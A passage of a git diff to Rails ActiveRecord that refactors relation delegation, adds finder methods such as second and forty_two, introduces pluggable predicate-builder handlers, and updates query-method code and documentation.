self.class.delegate_to_scoped_klass(method)
- scoping { @klass.send(method, *args, &block) }
- elsif Array.method_defined?(method)
- self.class.delegate method, :to => :to_a
- to_a.send(method, *args, &block)
+ scoping { @klass.public_send(method, *args, &block) }
elsif arel.respond_to?(method)
self.class.delegate method, :to => :arel
- arel.send(method, *args, &block)
+ arel.public_send(method, *args, &block)
else
super
end
@@ -71,52 +102,36 @@ module ActiveRecord
end
module ClassMethods # :nodoc:
- @@subclasses = ThreadSafe::Cache.new(:initial_capacity => 2)
-
- def new(klass, *args)
- relation = relation_class_for(klass).allocate
- relation.__send__(:initialize, klass, *args)
- relation
- end
-
- # This doesn't have to be thread-safe. relation_class_for guarantees that this will only be
- # called exactly once for a given const name.
- def const_missing(name)
- const_set(name, Class.new(self) { include ClassSpecificRelation })
+ def create(klass, *args)
+ relation_class_for(klass).new(klass, *args)
end
private
- # Cache the constants in @@subclasses because looking them up via const_get
- # make instantiation significantly slower.
+
def relation_class_for(klass)
- if klass && (klass_name = klass.name)
- my_cache = @@subclasses.compute_if_absent(self) { ThreadSafe::Cache.new }
- # This hash is keyed by klass.name to avoid memory leaks in development mode
- my_cache.compute_if_absent(klass_name) do
- # Cache#compute_if_absent guarantees that the block will only executed once for the given klass_name
- const_get("#{name.gsub('::', '_')}_#{klass_name.gsub('::', '_')}", false)
- end
- else
- ActiveRecord::Relation
- end
+ klass.relation_delegate_class(self)
end
end
def respond_to?(method, include_private = false)
- super || Array.method_defined?(method) ||
- @klass.respond_to?(method, include_private) ||
+ super || @klass.respond_to?(method, include_private) ||
+ array_delegable?(method) ||
arel.respond_to?(method, include_private)
end
protected
+ def array_delegable?(method)
+ Array.method_defined?(method) && BLACKLISTED_ARRAY_METHODS.exclude?(method)
+ end
+
def method_missing(method, *args, &block)
if @klass.respond_to?(method)
- scoping { @klass.send(method, *args, &block) }
- elsif Array.method_defined?(method)
- to_a.send(method, *args, &block)
+ scoping { @klass.public_send(method, *args, &block) }
+ elsif array_delegable?(method)
+ to_a.public_send(method, *args, &block)
elsif arel.respond_to?(method)
- arel.send(method, *args, &block)
+ arel.public_send(method, *args, &block)
else
super
end
diff --git a/activerecord/lib/active_record/relation/finder_methods.rb b/activerecord/lib/active_record/relation/finder_methods.rb
index 3ea3c33fcc..db32ae12a8 100644
--- a/activerecord/lib/active_record/relation/finder_methods.rb
+++ b/activerecord/lib/active_record/relation/finder_methods.rb
@@ -1,14 +1,19 @@
+require 'active_support/deprecation'
+
module ActiveRecord
module FinderMethods
+ ONE_AS_ONE = '1 AS one'
+
# Find by id - This can either be a specific id (1), a list of ids (1, 5, 6), or an array of ids ([5, 6, 10]).
# If no record can be found for all of the listed ids, then RecordNotFound will be raised. If the primary key
# is an integer, find by id coerces its arguments using +to_i+.
#
- # Person.find(1) # returns the object for ID = 1
- # Person.find("1") # returns the object for ID = 1
- # Person.find(1, 2, 6) # returns an array for objects with IDs in (1, 2, 6)
- # Person.find([7, 17]) # returns an array for objects with IDs in (7, 17)
- # Person.find([1]) # returns an array for the object with ID = 1
+ # Person.find(1) # returns the object for ID = 1
+ # Person.find("1") # returns the object for ID = 1
+ # Person.find("31-sarah") # returns the object for ID = 31
+ # Person.find(1, 2, 6) # returns an array for objects with IDs in (1, 2, 6)
+ # Person.find([7, 17]) # returns an array for objects with IDs in (7, 17)
+ # Person.find([1]) # returns an array for the object with ID = 1
# Person.where("administrator = 1").order("created_on DESC").find(1)
#
# <tt>ActiveRecord::RecordNotFound</tt> will be raised if one or more ids are not found.
@@ -32,7 +37,7 @@ module ActiveRecord
# end
#
# ==== Variations of +find+
- #
+ #
# Person.where(name: 'Spartacus', rating: 4)
# # returns a chainable list (which can be empty).
#
@@ -49,7 +54,7 @@ module ActiveRecord
#
# Person.where(name: 'Spartacus', rating: 4).exists?(conditions = :none)
# # returns a boolean indicating if any record with the given conditions exist.
- #
+ #
# Person.where(name: 'Spartacus', rating: 4).select("field1, field2, field3")
# # returns a chainable list of instances with only the mentioned fields.
#
@@ -124,9 +129,9 @@ module ActiveRecord
#
def first(limit = nil)
if limit
- find_first_with_limit(order_values, limit)
+ find_nth_with_limit(offset_index, limit)
else
- find_first
+ find_nth(0, offset_index)
end
end
@@ -169,21 +174,101 @@ module ActiveRecord
last or raise RecordNotFound
end
- # Returns truthy if a record exists in the table that matches the +id+ or
- # conditions given, or falsy otherwise. The argument can take six forms:
+ # Find the second record.
+ # If no order is defined it will order by primary key.
+ #
+ # Person.second # returns the second object fetched by SELECT * FROM people
+ # Person.offset(3).second # returns the second object from OFFSET 3 (which is OFFSET 4)
+ # Person.where(["user_name = :u", { u: user_name }]).second
+ def second
+ find_nth(1, offset_index)
+ end
+
+ # Same as +second+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+ # is found.
+ def second!
+ second or raise RecordNotFound
+ end
+
+ # Find the third record.
+ # If no order is defined it will order by primary key.
+ #
+ # Person.third # returns the third object fetched by SELECT * FROM people
+ # Person.offset(3).third # returns the third object from OFFSET 3 (which is OFFSET 5)
+ # Person.where(["user_name = :u", { u: user_name }]).third
+ def third
+ find_nth(2, offset_index)
+ end
+
+ # Same as +third+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+ # is found.
+ def third!
+ third or raise RecordNotFound
+ end
+
+ # Find the fourth record.
+ # If no order is defined it will order by primary key.
+ #
+ # Person.fourth # returns the fourth object fetched by SELECT * FROM people
+ # Person.offset(3).fourth # returns the fourth object from OFFSET 3 (which is OFFSET 6)
+ # Person.where(["user_name = :u", { u: user_name }]).fourth
+ def fourth
+ find_nth(3, offset_index)
+ end
+
+ # Same as +fourth+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+ # is found.
+ def fourth!
+ fourth or raise RecordNotFound
+ end
+
+ # Find the fifth record.
+ # If no order is defined it will order by primary key.
+ #
+ # Person.fifth # returns the fifth object fetched by SELECT * FROM people
+ # Person.offset(3).fifth # returns the fifth object from OFFSET 3 (which is OFFSET 7)
+ # Person.where(["user_name = :u", { u: user_name }]).fifth
+ def fifth
+ find_nth(4, offset_index)
+ end
+
+ # Same as +fifth+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+ # is found.
+ def fifth!
+ fifth or raise RecordNotFound
+ end
+
+ # Find the forty-second record. Also known as accessing "the reddit".
+ # If no order is defined it will order by primary key.
+ #
+ # Person.forty_two # returns the forty-second object fetched by SELECT * FROM people
+ # Person.offset(3).forty_two # returns the forty-second object from OFFSET 3 (which is OFFSET 44)
+ # Person.where(["user_name = :u", { u: user_name }]).forty_two
+ def forty_two
+ find_nth(41, offset_index)
+ end
+
+ # Same as +forty_two+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+ # is found.
+ def forty_two!
+ forty_two or raise RecordNotFound
+ end
+
+ # Returns +true+ if a record exists in the table that matches the +id+ or
+ # conditions given, or +false+ otherwise. The argument can take six forms:
#
# * Integer - Finds the record with this primary key.
# * String - Finds the record with a primary key corresponding to this
# string (such as <tt>'5'</tt>).
# * Array - Finds the record that matches these +find+-style conditions
- # (such as <tt>['color = ?', 'red']</tt>).
+ # (such as <tt>['name LIKE ?', "%#{query}%"]</tt>).
# * Hash - Finds the record that matches these +find+-style conditions
- # (such as <tt>{color: 'red'}</tt>).
+ # (such as <tt>{name: 'David'}</tt>).
# * +false+ - Returns always +false+.
# * No args - Returns +false+ if the table is empty, +true+ otherwise.
#
- # For more information about specifying conditions as a Hash or Array,
- # see the Conditions section in the introduction to ActiveRecord::Base.
+ # For more information about specifying conditions as a hash or array,
+ # see the Conditions section in the introduction to <tt>ActiveRecord::Base</tt>.
#
# Note: You can't pass in a condition as a string (like <tt>name =
# 'Jamie'</tt>), since it would be sanitized and then queried against
@@ -192,27 +277,34 @@ module ActiveRecord
# Person.exists?(5)
# Person.exists?('5')
# Person.exists?(['name LIKE ?', "%#{query}%"])
+ # Person.exists?(id: [1, 4, 8])
# Person.exists?(name: 'David')
# Person.exists?(false)
# Person.exists?
def exists?(conditions = :none)
- conditions = conditions.id if Base === conditions
+ if Base === conditions
+ conditions = conditions.id
+ ActiveSupport::Deprecation.warn "You are passing an instance of ActiveRecord::Base to `exists?`." \
+ "Please pass the id of the object by calling `.id`"
+ end
+
return false if !conditions
- relation = construct_relation_for_association_find(construct_join_dependency)
+ relation = apply_join_dependency(self, construct_join_dependency)
return false if ActiveRecord::NullRelation === relation
- relation = relation.except(:select, :order).select("1 AS one").limit(1)
+ relation = relation.except(:select, :order).select(ONE_AS_ONE).limit(1)
case conditions
when Array, Hash
relation = relation.where(conditions)
else
- relation = relation.where(table[primary_key].eq(conditions)) if conditions != :none
+ unless conditions == :none
+ relation = where(primary_key => conditions)
+ end
end
- relation = relation.with_default_scope
- connection.select_value(relation.arel, "#{name} Exists", relation.bind_values)
+ connection.select_value(relation, "#{name} Exists", relation.bind_values) ? true : false
end
# This method is called whenever no records are found with either a single
@@ -228,45 +320,61 @@ module ActiveRecord
conditions = " [#{conditions}]" if conditions
if Array(ids).size == 1
- error = "Couldn't find #{@klass.name} with #{primary_key}=#{ids}#{conditions}"
+ error = "Couldn't find #{@klass.name} with '#{primary_key}'=#{ids}#{conditions}"
else
- error = "Couldn't find all #{@klass.name.pluralize} with IDs "
+ error = "Couldn't find all #{@klass.name.pluralize} with '#{primary_key}': "
error << "(#{ids.join(", ")})#{conditions} (found #{result_size} results, but was looking for #{expected_size})"
end
raise RecordNotFound, error
end
- protected
+ private
+
+ def offset_index
+ offset_value || 0
+ end
def find_with_associations
join_dependency = construct_join_dependency
- relation = construct_relation_for_association_find(join_dependency)
- if ActiveRecord::NullRelation === relation
- []
+
+ aliases = join_dependency.aliases
+ relation = select aliases.columns
+ relation = apply_join_dependency(relation, join_dependency)
+
+ if block_given?
+ yield relation
else
- rows = connection.select_all(relation, 'SQL', relation.bind_values.dup)
- join_dependency.instantiate(rows)
+ if ActiveRecord::NullRelation === relation
+ []
+ else
+ arel = relation.arel
+ rows = connection.select_all(arel, 'SQL', arel.bind_values + relation.bind_values)
+ join_dependency.instantiate(rows, aliases)
+ end
end
end
def construct_join_dependency(joins = [])
- including = (eager_load_values + includes_values).uniq
+ including = eager_load_values + includes_values
ActiveRecord::Associations::JoinDependency.new(@klass, including, joins)
end
def construct_relation_for_association_calculations
- apply_join_dependency(self, construct_join_dependency(arel.froms.first))
- end
-
- def construct_relation_for_association_find(join_dependency)
- relation = except(:select).select(join_dependency.columns)
- apply_join_dependency(relation, join_dependency)
+ from = arel.froms.first
+ if Arel::Table === from
+ apply_join_dependency(self, construct_join_dependency)
+ else
+ # FIXME: as far as I can tell, `from` will always be an Arel::Table.
+ # There are no tests that test this branch, but presumably it's
+ # possible for `from` to be a list?
+ apply_join_dependency(self, construct_join_dependency(from))
+ end
end
def apply_join_dependency(relation, join_dependency)
relation = relation.except(:includes, :eager_load, :preload)
- relation = join_dependency.join_relation(relation)
+ relation = relation.joins join_dependency
if using_limitable_reflections?(join_dependency.reflections)
relation
@@ -289,7 +397,15 @@ module ActiveRecord
id_rows.map {|row| row[primary_key]}
end
+ def using_limitable_reflections?(reflections)
+ reflections.none? { |r| r.collection? }
+ end
+
+ protected
+
def find_with_ids(*ids)
+ raise UnknownPrimaryKey.new(@klass) if primary_key.nil?
+
expects_array = ids.first.kind_of?(Array)
return ids.first if expects_array && ids.first.empty?
@@ -307,7 +423,11 @@ module ActiveRecord
end
def find_one(id)
- id = id.id if ActiveRecord::Base === id
+ if ActiveRecord::Base === id
+ id = id.id
+ ActiveSupport::Deprecation.warn "You are passing an instance of ActiveRecord::Base to `find`." \
+ "Please pass the id of the object by calling `.id`"
+ end
column = columns_hash[primary_key]
substitute = connection.substitute_at(column, bind_values.length)
@@ -350,20 +470,24 @@ module ActiveRecord
end
end
- def find_first
+ def find_nth(index, offset)
if loaded?
- @records.first
+ @records[index]
else
- @first ||= find_first_with_limit(with_default_scope.order_values, 1).first
+ offset += index
+ @offsets[offset] ||= find_nth_with_limit(offset, 1).first
end
end
- def find_first_with_limit(order_values, limit)
- if order_values.empty? && primary_key
- order(arel_table[primary_key].asc).limit(limit).to_a
- else
- limit(limit).to_a
- end
+ def find_nth_with_limit(offset, limit)
+ relation = if order_values.empty? && primary_key
+ order(arel_table[primary_key].asc)
+ else
+ self
+ end
+
+ relation = relation.offset(offset) unless offset.zero?
+ relation.limit(limit).to_a
end
def find_last
@@ -371,16 +495,12 @@ module ActiveRecord
@records.last
else
@last ||=
- if offset_value || limit_value
+ if limit_value
to_a.last
else
reverse_order.limit(1).to_a.first
end
end
end
-
- def using_limitable_reflections?(reflections)
- reflections.none? { |r| r.collection? }
- end
end
end
diff --git a/activerecord/lib/active_record/relation/merger.rb b/activerecord/lib/active_record/relation/merger.rb
index c114ea0c0d..fcb28a18f6 100644
--- a/activerecord/lib/active_record/relation/merger.rb
+++ b/activerecord/lib/active_record/relation/merger.rb
@@ -22,7 +22,7 @@ module ActiveRecord
# build a relation to merge in rather than directly merging
# the values.
def other
- other = Relation.new(relation.klass, relation.table)
+ other = Relation.create(relation.klass, relation.table)
hash.each { |k, v|
if k == :joins
if Hash === v
@@ -30,6 +30,8 @@ module ActiveRecord
else
other.joins!(*v)
end
+ elsif k == :select
+ other._select!(v)
else
other.send("#{k}!", v)
end
@@ -42,10 +44,6 @@ module ActiveRecord
attr_reader :relation, :values, :other
def initialize(relation, other)
- if other.default_scoped? && other.klass != relation.klass
- other = other.with_default_scope
- end
-
@relation = relation
@values = other.values
@other = other
@@ -62,7 +60,17 @@ module ActiveRecord
def merge
normal_values.each do |name|
value = values[name]
- relation.send("#{name}!", *value) unless value.blank?
+ # The unless clause is here mostly for performance reasons (since the `send` call might be moderately
+ # expensive), most of the time the value is going to be `nil` or `.blank?`, the only catch is that
+ # `false.blank?` returns `true`, so there needs to be an extra check so that explicit `false` values
+ # don't fall through the cracks.
+ unless value.nil? || (value.blank? && false != value)
+ if name == :select
+ relation._select!(*value)
+ else
+ relation.send("#{name}!", *value)
+ end
+ end
end
merge_multi_values
@@ -94,26 +102,42 @@ module ActiveRecord
[])
relation.joins! rest
- @relation = join_dependency.join_relation(relation)
+ @relation = relation.joins join_dependency
end
end
def merge_multi_values
lhs_wheres = relation.where_values
rhs_wheres = values[:where] || []
+
lhs_binds = relation.bind_values
rhs_binds = values[:bind] || []
removed, kept = partition_overwrites(lhs_wheres, rhs_wheres)
- relation.where_values = kept + rhs_wheres
- relation.bind_values = filter_binds(lhs_binds, removed) + rhs_binds
+ where_values = kept + rhs_wheres
+ bind_values = filter_binds(lhs_binds, removed) + rhs_binds
+
+ conn = relation.klass.connection
+ bv_index = 0
+ where_values.map! do |node|
+ if Arel::Nodes::Equality === node && Arel::Nodes::BindParam === node.right
+ substitute = conn.substitute_at(bind_values[bv_index].first, bv_index)
+ bv_index += 1
+ Arel::Nodes::Equality.new(node.left, substitute)
+ else
+ node
+ end
+ end
+
+ relation.where_values = where_values
+ relation.bind_values = bind_values
if values[:reordering]
# override any order specified in the original relation
relation.reorder! values[:order]
elsif values[:order]
- # merge in order_values from r
+ # merge in order_values from relation
relation.order! values[:order]
end
@@ -123,7 +147,6 @@ module ActiveRecord
def merge_single_values
relation.from_value = values[:from] unless relation.from_value
relation.lock_value = values[:lock] unless relation.lock_value
- relation.reverse_order_value = values[:reverse_order]
unless values[:create_with].blank?
relation.create_with_value = (relation.create_with_value || {}).merge(values[:create_with])
diff --git a/activerecord/lib/active_record/relation/predicate_builder.rb b/activerecord/lib/active_record/relation/predicate_builder.rb
index b7609c97b5..d40f276968 100644
--- a/activerecord/lib/active_record/relation/predicate_builder.rb
+++ b/activerecord/lib/active_record/relation/predicate_builder.rb
@@ -1,15 +1,26 @@
module ActiveRecord
class PredicateBuilder # :nodoc:
+ @handlers = []
+
+ autoload :RelationHandler, 'active_record/relation/predicate_builder/relation_handler'
+ autoload :ArrayHandler, 'active_record/relation/predicate_builder/array_handler'
+
+ def self.resolve_column_aliases(klass, hash)
+ hash = hash.dup
+ hash.keys.grep(Symbol) do |key|
+ if klass.attribute_alias? key
+ hash[klass.attribute_alias(key)] = hash.delete key
+ end
+ end
+ hash
+ end
+
def self.build_from_hash(klass, attributes, default_table)
queries = []
attributes.each do |column, value|
table = default_table
- if column.is_a?(Symbol) && klass.attribute_aliases.key?(column.to_s)
- column = klass.attribute_aliases[column.to_s]
- end
-
if value.is_a?(Hash)
if value.empty?
queries << '1=0'
@@ -44,9 +55,9 @@ module ActiveRecord
#
# For polymorphic relationships, find the foreign key and type:
# PriceEstimate.where(estimate_of: treasure)
- if klass && value.class < Base && reflection = klass.reflect_on_association(column.to_sym)
- if reflection.polymorphic?
- queries << build(table[reflection.foreign_type], value.class.base_class)
+ if klass && reflection = klass.reflect_on_association(column.to_sym)
+ if reflection.polymorphic? && base_class = polymorphic_base_class_from_value(value)
+ queries << build(table[reflection.foreign_type], base_class)
end
column = reflection.foreign_key
@@ -56,6 +67,18 @@ module ActiveRecord
queries
end
+ def self.polymorphic_base_class_from_value(value)
+ case value
+ when Relation
+ value.klass.base_class
+ when Array
+ val = value.compact.first
+ val.class.base_class if val.is_a?(Base)
+ when Base
+ value.class.base_class
+ end
+ end
+
def self.references(attributes)
attributes.map do |key, value|
if value.is_a?(Hash)
@@ -67,44 +90,37 @@ module ActiveRecord
end.compact
end
- private
- def self.build(attribute, value)
- case value
- when Array
- values = value.to_a.map {|x| x.is_a?(Base) ? x.id : x}
- ranges, values = values.partition {|v| v.is_a?(Range)}
-
- values_predicate = if values.include?(nil)
- values = values.compact
-
- case values.length
- when 0
- attribute.eq(nil)
- when 1
- attribute.eq(values.first).or(attribute.eq(nil))
- else
- attribute.in(values).or(attribute.eq(nil))
- end
- else
- attribute.in(values)
- end
+ # Define how a class is converted to Arel nodes when passed to +where+.
+ # The handler can be any object that responds to +call+, and will be used
+ # for any value that +===+ the class given. For example:
+ #
+ # MyCustomDateRange = Struct.new(:start, :end)
+ # handler = proc do |column, range|
+ # Arel::Nodes::Between.new(column,
+ # Arel::Nodes::And.new([range.start, range.end])
+ # )
+ # end
+ # ActiveRecord::PredicateBuilder.register_handler(MyCustomDateRange, handler)
+ def self.register_handler(klass, handler)
+ @handlers.unshift([klass, handler])
+ end
- array_predicates = ranges.map { |range| attribute.in(range) }
- array_predicates << values_predicate
- array_predicates.inject { |composite, predicate| composite.or(predicate) }
- when ActiveRecord::Relation
- value = value.select(value.klass.arel_table[value.klass.primary_key]) if value.select_values.empty?
- attribute.in(value.arel.ast)
- when Range
- attribute.in(value)
- when ActiveRecord::Base
- attribute.eq(value.id)
- when Class
- # FIXME: I think we need to deprecate this behavior
- attribute.eq(value.name)
- else
- attribute.eq(value)
- end
- end
+ register_handler(BasicObject, ->(attribute, value) { attribute.eq(value) })
+ # FIXME: I think we need to deprecate this behavior
+ register_handler(Class, ->(attribute, value) { attribute.eq(value.name) })
+ register_handler(Base, ->(attribute, value) { attribute.eq(value.id) })
+ register_handler(Range, ->(attribute, value) { attribute.in(value) })
+ register_handler(Relation, RelationHandler.new)
+ register_handler(Array, ArrayHandler.new)
+
+ def self.build(attribute, value)
+ handler_for(value).call(attribute, value)
+ end
+ private_class_method :build
+
+ def self.handler_for(object)
+ @handlers.detect { |klass, _| klass === object }.last
+ end
+ private_class_method :handler_for
end
end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/array_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/array_handler.rb
new file mode 100644
index 0000000000..2f6c34ac08
--- /dev/null
+++ b/activerecord/lib/active_record/relation/predicate_builder/array_handler.rb
@@ -0,0 +1,29 @@
+module ActiveRecord
+ class PredicateBuilder
+ class ArrayHandler # :nodoc:
+ def call(attribute, value)
+ values = value.map { |x| x.is_a?(Base) ? x.id : x }
+ ranges, values = values.partition { |v| v.is_a?(Range) }
+
+ values_predicate = if values.include?(nil)
+ values = values.compact
+
+ case values.length
+ when 0
+ attribute.eq(nil)
+ when 1
+ attribute.eq(values.first).or(attribute.eq(nil))
+ else
+ attribute.in(values).or(attribute.eq(nil))
+ end
+ else
+ attribute.in(values)
+ end
+
+ array_predicates = ranges.map { |range| attribute.in(range) }
+ array_predicates << values_predicate
+ array_predicates.inject { |composite, predicate| composite.or(predicate) }
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb
new file mode 100644
index 0000000000..618fa3cdd9
--- /dev/null
+++ b/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb
@@ -0,0 +1,13 @@
+module ActiveRecord
+ class PredicateBuilder
+ class RelationHandler # :nodoc:
+ def call(attribute, value)
+ if value.select_values.empty?
+ value = value.select(value.klass.arel_table[value.klass.primary_key])
+ end
+
+ attribute.in(value.arel.ast)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/relation/query_methods.rb b/activerecord/lib/active_record/relation/query_methods.rb
index 0200fcf69b..416f2305d2 100644
--- a/activerecord/lib/active_record/relation/query_methods.rb
+++ b/activerecord/lib/active_record/relation/query_methods.rb
@@ -37,6 +37,8 @@ module ActiveRecord
def not(opts, *rest)
where_value = @scope.send(:build_where, opts, rest).map do |rel|
case rel
+ when NilClass
+ raise ArgumentError, 'Invalid argument for .where.not(), got nil.'
when Arel::Nodes::In
Arel::Nodes::NotIn.new(rel.left, rel.right)
when Arel::Nodes::Equality
@@ -47,6 +49,8 @@ module ActiveRecord
Arel::Nodes::Not.new(rel)
end
end
+
+ @scope.references!(PredicateBuilder.references(opts)) if Hash === opts
@scope.where_values += where_value
@scope
end
@@ -60,6 +64,7 @@ module ActiveRecord
#
def #{name}_values=(values) # def select_values=(values)
raise ImmutableRelation if @loaded # raise ImmutableRelation if @loaded
+ check_cached_relation
@values[:#{name}] = values # @values[:select] = values
end # end
CODE
@@ -77,11 +82,22 @@ module ActiveRecord
class_eval <<-CODE, __FILE__, __LINE__ + 1
def #{name}_value=(value) # def readonly_value=(value)
raise ImmutableRelation if @loaded # raise ImmutableRelation if @loaded
+ check_cached_relation
@values[:#{name}] = value # @values[:readonly] = value
end # end
CODE
end
+ def check_cached_relation # :nodoc:
+ if defined?(@arel) && @arel
+ @arel = nil
+ ActiveSupport::Deprecation.warn <<-WARNING
+Modifying already cached Relation. The cache will be reset.
+Use a cloned Relation to prevent this warning.
+WARNING
+ end
+ end
+
def create_with_value # :nodoc:
@values[:create_with] || {}
end
@@ -100,6 +116,14 @@ module ActiveRecord
# firing an additional query. This will often result in a
# performance improvement over a simple +join+.
#
+ # You can also specify multiple relationships, like this:
+ #
+ # users = User.includes(:address, :friends)
+ #
+ # Loading nested relationships is possible using a Hash:
+ #
+ # users = User.includes(:address, friends: [:address, :followers])
+ #
# === conditions
#
# If you want to add conditions to your included models you'll have
@@ -110,15 +134,19 @@ module ActiveRecord
# Will throw an error, but this will work:
#
# User.includes(:posts).where('posts.name = ?', 'example').references(:posts)
+ #
+ # Note that +includes+ works with association names while +references+ needs
+ # the actual table name.
def includes(*args)
- check_if_method_has_arguments!("includes", args)
+ check_if_method_has_arguments!(:includes, args)
spawn.includes!(*args)
end
def includes!(*args) # :nodoc:
- args.reject! {|a| a.blank? }
+ args.reject!(&:blank?)
+ args.flatten!
- self.includes_values = (includes_values + args).flatten.uniq
+ self.includes_values |= args
self
end
@@ -129,7 +157,7 @@ module ActiveRecord
# FROM "users" LEFT OUTER JOIN "posts" ON "posts"."user_id" =
# "users"."id"
def eager_load(*args)
- check_if_method_has_arguments!("eager_load", args)
+ check_if_method_has_arguments!(:eager_load, args)
spawn.eager_load!(*args)
end
@@ -143,7 +171,7 @@ module ActiveRecord
# User.preload(:posts)
# => SELECT "posts".* FROM "posts" WHERE "posts"."user_id" IN (1, 2, 3)
def preload(*args)
- check_if_method_has_arguments!("preload", args)
+ check_if_method_has_arguments!(:preload, args)
spawn.preload!(*args)
end
@@ -152,23 +180,26 @@ module ActiveRecord
self
end
- # Used to indicate that an association is referenced by an SQL string, and should
- # therefore be JOINed in any query rather than loaded separately.
+ # Use to indicate that the given +table_names+ are referenced by an SQL string,
+ # and should therefore be JOINed in any query rather than loaded separately.
+ # This method only works in conjunction with +includes+.
+ # See #includes for more details.
#
# User.includes(:posts).where("posts.name = 'foo'")
# # => Doesn't JOIN the posts table, resulting in an error.
#
# User.includes(:posts).where("posts.name = 'foo'").references(:posts)
# # => Query now knows the string references posts, so adds a JOIN
- def references(*args)
- check_if_method_has_arguments!("references", args)
- spawn.references!(*args)
+ def references(*table_names)
+ check_if_method_has_arguments!(:references, table_names)
+ spawn.references!(*table_names)
end
- def references!(*args) # :nodoc:
- args.flatten!
+ def references!(*table_names) # :nodoc:
+ table_names.flatten!
+ table_names.map!(&:to_s)
- self.references_values = (references_values + args.map!(&:to_s)).uniq
+ self.references_values |= table_names
self
end
@@ -185,7 +216,7 @@ module ActiveRecord
# fields are retrieved:
#
# Model.select(:field)
- # # => [#<Model field:value>]
+ # # => [#<Model id: nil, field: "value">]
#
# Although in the above example it looks as though this method returns an
# array, it actually returns a relation object and can have other query
@@ -194,12 +225,12 @@ module ActiveRecord
# The argument to the method can also be an array of fields.
#
# Model.select(:field, :other_field, :and_one_more)
- # # => [#<Model field: "value", other_field: "value", and_one_more: "value">]
+ # # => [#<Model id: nil, field: "value", other_field: "value", and_one_more: "value">]
#
# You can also use one or more strings, which will be used unchanged as SELECT fields.
#
# Model.select('field AS field_one', 'other_field AS field_two')
- # # => [#<Model field: "value", other_field: "value">]
+ # # => [#<Model id: nil, field: "value", other_field: "value">]
#
# If an alias was specified, it will be accessible from the resulting objects:
#
@@ -207,7 +238,7 @@ module ActiveRecord
# # => "value"
#
# Accessing attributes of an object that do not have fields retrieved by a select
- # will throw <tt>ActiveModel::MissingAttributeError</tt>:
+ # except +id+ will throw <tt>ActiveModel::MissingAttributeError</tt>:
#
# Model.select(:field).first.other_field
# # => ActiveModel::MissingAttributeError: missing attribute: other_field
@@ -216,12 +247,16 @@ module ActiveRecord
to_a.select { |*block_args| yield(*block_args) }
else
raise ArgumentError, 'Call this with at least one field' if fields.empty?
- spawn.select!(*fields)
+ spawn._select!(*fields)
end
end
- def select!(*fields) # :nodoc:
- self.select_values += fields.flatten
+ def _select!(*fields) # :nodoc:
+ fields.flatten!
+ fields.map! do |field|
+ klass.attribute_alias?(field) ? klass.attribute_alias(field) : field
+ end
+ self.select_values += fields
self
end
@@ -240,8 +275,12 @@ module ActiveRecord
#
# User.group('name AS grouped_name, age')
# => [#<User id: 3, name: "Foo", age: 21, ...>, #<User id: 2, name: "Oscar", age: 21, ...>, #<User id: 5, name: "Foo", age: 23, ...>]
+ #
+ # Passing in an array of attributes to group by is also supported.
+ # User.select([:id, :first_name]).group(:id, :first_name).first(3)
+ # => [#<User id: 1, first_name: "Bill">, #<User id: 2, first_name: "Earl">, #<User id: 3, first_name: "Beto">]
def group(*args)
- check_if_method_has_arguments!("group", args)
+ check_if_method_has_arguments!(:group, args)
spawn.group!(*args)
end
@@ -254,15 +293,6 @@ module ActiveRecord
# Allows to specify an order attribute:
#
- # User.order('name')
- # => SELECT "users".* FROM "users" ORDER BY name
- #
- # User.order('name DESC')
- # => SELECT "users".* FROM "users" ORDER BY name DESC
- #
- # User.order('name DESC, email')
- # => SELECT "users".* FROM "users" ORDER BY name DESC, email
- #
# User.order(:name)
# => SELECT "users".* FROM "users" ORDER BY "users"."name" ASC
#
@@ -271,25 +301,24 @@ module ActiveRecord
#
# User.order(:name, email: :desc)
# => SELECT "users".* FROM "users" ORDER BY "users"."name" ASC, "users"."email" DESC
+ #
+ # User.order('name')
+ # => SELECT "users".* FROM "users" ORDER BY name
+ #
+ # User.order('name DESC')
+ # => SELECT "users".* FROM "users" ORDER BY name DESC
+ #
+ # User.order('name DESC, email')
+ # => SELECT "users".* FROM "users" ORDER BY name DESC, email
def order(*args)
- check_if_method_has_arguments!("order", args)
+ check_if_method_has_arguments!(:order, args)
spawn.order!(*args)
end
def order!(*args) # :nodoc:
- args.flatten!
- validate_order_args args
-
- references = args.reject { |arg| Arel::Node === arg }
- references.map! { |arg| arg =~ /^([a-zA-Z]\w*)\.(\w+)/ && $1 }.compact!
- references!(references) if references.any?
+ preprocess_order_args(args)
- # if a symbol is given we prepend the quoted table name
- args = args.map { |arg|
- arg.is_a?(Symbol) ? "#{quoted_table_name}.#{arg} ASC" : arg
- }
-
- self.order_values = args + self.order_values
+ self.order_values += args
self
end
@@ -301,15 +330,14 @@ module ActiveRecord
#
# User.order('email DESC').reorder('id ASC').order('name ASC')
#
- # generates a query with 'ORDER BY name ASC, id ASC'.
+ # generates a query with 'ORDER BY id ASC, name ASC'.
def reorder(*args)
- check_if_method_has_arguments!("reorder", args)
+ check_if_method_has_arguments!(:reorder, args)
spawn.reorder!(*args)
end
def reorder!(*args) # :nodoc:
- args.flatten!
- validate_order_args args
+ preprocess_order_args(args)
self.reordering_value = true
self.order_values = args
@@ -340,23 +368,27 @@ module ActiveRecord
# User.where(name: "John", active: true).unscope(where: :name)
# == User.where(active: true)
#
- # This method is applied before the default_scope is applied. So the conditions
- # specified in default_scope will not be removed.
+ # This method is similar to <tt>except</tt>, but unlike
+ # <tt>except</tt>, it persists across merges:
#
- # Note that this method is more generalized than ActiveRecord::SpawnMethods#except
- # because #except will only affect a particular relation's values. It won't wipe
- # the order, grouping, etc. when that relation is merged. For example:
+ # User.order('email').merge(User.except(:order))
+ # == User.order('email')
#
- # Post.comments.except(:order)
+ # User.order('email').merge(User.unscope(:order))
+ # == User.all
+ #
+ # This means it can be used in association definitions:
+ #
+ # has_many :comments, -> { unscope where: :trashed }
#
- # will still have an order if it comes from the default_scope on Comment.
def unscope(*args)
- check_if_method_has_arguments!("unscope", args)
